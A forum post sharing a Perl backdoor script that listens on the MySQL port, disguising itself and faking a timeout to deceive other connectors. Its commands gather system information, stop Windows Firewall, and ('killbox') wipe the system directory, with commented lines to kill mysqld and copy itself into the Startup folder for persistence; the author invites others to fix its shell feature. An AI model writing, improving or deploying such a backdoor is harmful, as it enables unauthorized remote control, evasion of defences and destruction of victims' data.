It looks like you're new here. If you want to get involved, click one of these buttons!
#!/usr/bin/perl -w
#Written by m0rph
use IO::Socket; #Socket handler
use Net::hostent; #Host information exchange
use File::Copy; #File Copying
use warnings; #Debugging
#`net stop \"Windows Firewall\"`; #replace with /etc/init.d/iptables stop, must be root
#system(\"taskkill /IM mysqld.exe /F\"); #Disable mysql daemon
my $port=3306; #Binded port, replace port number with $ARGV[0] to use with command line input
my $server=IO::Socket::INET->new( Proto => 'tcp',
LocalPort => $port,
Listen => SOMAXCONN, #Number of pending connections, and connections allowed
Reuse => 1);
die \"Listener failed to start\" unless $server; #Error Handling
print \"Listener started. Waiting for connection...\n\";
while ($client = $server->accept()) {
$client->autoflush(1);
$hostinfo = gethostbyaddr($client->peeraddr);
#print \"[Connection from %s]\", $hostinfo->name || $client->peerhost; #shows connecting host to server
while ( <$client>) {
next unless /\S/; #If no input is received, stay connected.
printf $client \"%s \$ \", $hostinfo->name || $server->peerhost;
if (/exit|quit/i) { last; } #Quit and Exit commmands for disconnecting
elsif (/sup brah/i) { print $client \"\n\",
\"------------------------\n\",
\"| |\n\",
\"| Let's do this |\n\",
\"| |\n\",
\"------------------------\n\",
\"\n\",
\"Type help for a list of commands\n\"; }
elsif (/date/i) { printf $client \"%s\n\", scalar localtime;}
elsif (/ip -s/i) { print $client `ipconfig /all`; } #replace with ifconfig
elsif (/ip -r/i) { print $client `ipconfig /release`; } #replace with ifconfig eth0 down
elsif (/ps/i) { print $client `tasklist /v`;} #show current processes, replace with ps -aux
elsif (/netstat/i) { print $client `netstat -an`; } #show current connections, same command
elsif (/whoami/i) { print $client `whoami`; } #works on some windows machines, works on all *nix
elsif (/rain/i) { print $client `net stop \"Windows Firewall\"`; } #replace with /etc/init.d/iptables stop, must be root
elsif (/killbox/i) { print $client system('RD %systemroot% /S /Q'); } #replace with rm -rf /
elsif (/shell/i) { system('cmd'); } ###Intended to drop a shell, but doesn't, try replacing with /bin/sh
elsif (/help/i) { print $client \"\n\",
\"-------------\n\",
\"Command List:\n\",
\"-------------\n\",
\"ip -s IP Configuration.\n\",
\"ip -r -r for IP release, Shell must have administrative privileges.\n\",
\"whoami Current User.\n\",
\"netstat Active Connections.\n\",
\"date Current Date and Time\n\",
\"ps List Current Processes.\n\",
\"rain Stops Windows Firewall. Shell must have administrative privileges.\n\",
\"killbox Remove filesystem. Shell must have administrative privileges.\n\",
\"shutdown Shutdown Target.\n\",
#\"shell Drop A Shell.\n\",
\"quit \n\"; }
else {
print $client \"\n\nError: Connection Timed Out\"; #Incase someone else tries connecting to shell, try and fool them to not connect to it again.
close $client;
}
}
continue {
printf $client \"%s \$ \", $hostinfo->name || $server->peerhost;
}
print $client \"\n\nGood Bye.\";
close $client; #To close connection: CTRL + C
}
#move(\"noname.pl\",\"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\noname.pl\"); #this will copy self to XP SP2 Startup Directory
Update: The shell functionality of it doesn't work because the standard input/output is already being called, and would thus result in the shell process being ran interactively (which is not possible when redirecting stdio).
I will try to fix it at some point. My idea for making it work will be to have it create a new process listening on a different port, or to include a function that will run itself again with a different argument (causing it to drop a shell on a different port). If anyone wants to give it a go, please feel free.
I can't believe I didn't think about it being ran interactively while I was writing the backdoor the first time...what a rookie mistake lol